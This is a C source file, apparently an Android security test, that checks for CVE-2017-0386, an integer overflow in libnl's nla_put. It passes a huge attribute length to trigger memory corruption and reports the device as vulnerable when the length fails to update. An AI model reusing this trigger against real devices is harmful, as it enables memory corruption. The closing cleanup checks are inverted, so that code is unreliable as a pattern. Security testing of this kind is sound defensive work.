| /** |
| * Copyright (C) 2019 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| |
| #define LOG_TAG "CVE-2017-0386" |
| |
| #include <sys/wait.h> |
| #include <sys/types.h> |
| #include <stdio.h> |
| #include <log/log.h> |
| #include <netlink/msg.h> |
| #include <netlink/netlink.h> |
| #include <netlink-private/object-api.h> |
| #include <netlink-private/types.h> |
| #include <netlink/object.h> |
| #include <netlink/attr.h> |
| |
| #include "../includes/common.h" |
| |
| int main(void) { |
| struct nl_msg *message = NULL; |
| struct nlmsghdr *hdr; |
| char *data = NULL; |
| uint32_t result = 0; |
| int ret = EXIT_SUCCESS; |
| int pagesize = getpagesize(); |
| size_t payloadlength = pagesize + 12 - 0x30; |
| size_t payload2length = pagesize; |
| |
| message = nlmsg_alloc(); |
| if (message == NULL) { |
| ALOGE("Alloc message memory failed"); |
| return EXIT_FAILURE; |
| } |
| |
| ALOGI("nl_msg.nm_size : %zx\n", message->nm_size); |
| hdr = message->nm_nlh; |
| |
| //allocate memory for data with payloadlength |
| data = malloc(payloadlength); |
| if (data == NULL) { |
| ALOGE("Alloc data memory failed"); |
| nlmsg_free(message); |
| return EXIT_FAILURE; |
| } |
| |
| memset(data, 0x41, payloadlength); |
| nla_put(message, 0x4444, payloadlength, data); |
| result = hdr->nlmsg_len; |
| ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr)); |
| ALOGI("message len = 0x%x", result); |
| |
| free(data); |
| data = NULL; |
| |
| //allocate memory for data with payload2length |
| data = malloc(payload2length); |
| if (data == NULL) { |
| ALOGE("Alloc data2 memory failed"); |
| nlmsg_free(message); |
| return EXIT_FAILURE; |
| } |
| memset(data, 0x33, payload2length); |
| ALOGI("\n\n\nPutting down overflow.......\n\n\n"); |
| nla_put(message, 0x8888, 0xFFFFF000, data); |
| |
| ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr)); |
| ALOGI("message len = 0x%x", hdr->nlmsg_len); |
| |
| /* |
| * return 113 error code if length is mismatch |
| */ |
| if(result != hdr->nlmsg_len) { |
| ret = EXIT_VULNERABLE; |
| } |
| |
| if(!data) { |
| free(data); |
| data = NULL; |
| } |
| |
| if(!message) { |
| nlmsg_free(message); |
| message = NULL; |
| } |
| return ret; |
| } |